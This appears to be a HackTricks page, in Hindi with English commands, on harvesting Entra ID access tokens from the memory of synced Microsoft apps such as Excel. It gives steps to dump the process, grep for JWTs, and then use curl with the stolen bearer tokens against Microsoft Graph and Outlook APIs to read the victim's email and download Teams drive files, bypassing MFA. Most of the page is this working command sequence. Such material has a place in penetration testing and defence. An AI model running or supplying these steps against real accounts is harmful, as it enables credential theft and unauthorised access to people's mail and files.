Az - Processes Memory Access Token

Support HackTricks

Basic Information

जैसा कि इस वीडियो में समझाया गया है, कुछ Microsoft सॉफ़्टवेयर जो क्लाउड के साथ समन्वयित होते हैं (Excel, Teams...) स्मृति में स्पष्ट-टेक्स्ट में एक्सेस टोकन स्टोर कर सकते हैं। इसलिए केवल प्रक्रिया की स्मृति को डंप करना और JWT टोकन के लिए grep करना आपको क्लाउड में पीड़ित के कई संसाधनों तक पहुंच प्रदान कर सकता है, MFA को बायपास करते हुए।

चरण:

  1. अपने पसंदीदा टूल के साथ EntraID उपयोगकर्ता के साथ समन्वयित एक्सेल प्रक्रियाओं को डंप करें।

  2. चलाएँ: string excel.dmp | grep 'eyJ0' और आउटपुट में कई टोकन खोजें

  3. उन टोकनों को खोजें जो आपको सबसे अधिक रुचिकर लगते हैं और उनके ऊपर टूल चलाएँ:

# Check the identity of the token
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/me | jq

# Check the email (you need a token authorized in login.microsoftonline.com)
curl -s -H "Authorization: Bearer <token>" https://outlook.office.com/api/v2.0/me/messages | jq

# Download a file from Teams
## You need a token that can access graph.microsoft.com
## Then, find the <site_id> inside the memory and call
curl -s -H "Authorization: Bearer <token>" https://graph.microsoft.com/v1.0/sites/<site_id>/drives | jq

## Then, list one drive
curl -s -H "Authorization: Bearer <token>" 'https://graph.microsoft.com/v1.0/sites/<site_id>/drives/<drive_id>' | jq

## Finally, download a file from that drive:
┌──(magichk㉿black-pearl)-[~]
└─$ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.graph.downloadUrl>'

ध्यान दें कि इस प्रकार के एक्सेस टोकन अन्य प्रक्रियाओं के अंदर भी पाए जा सकते हैं।

Support HackTricks

Last updated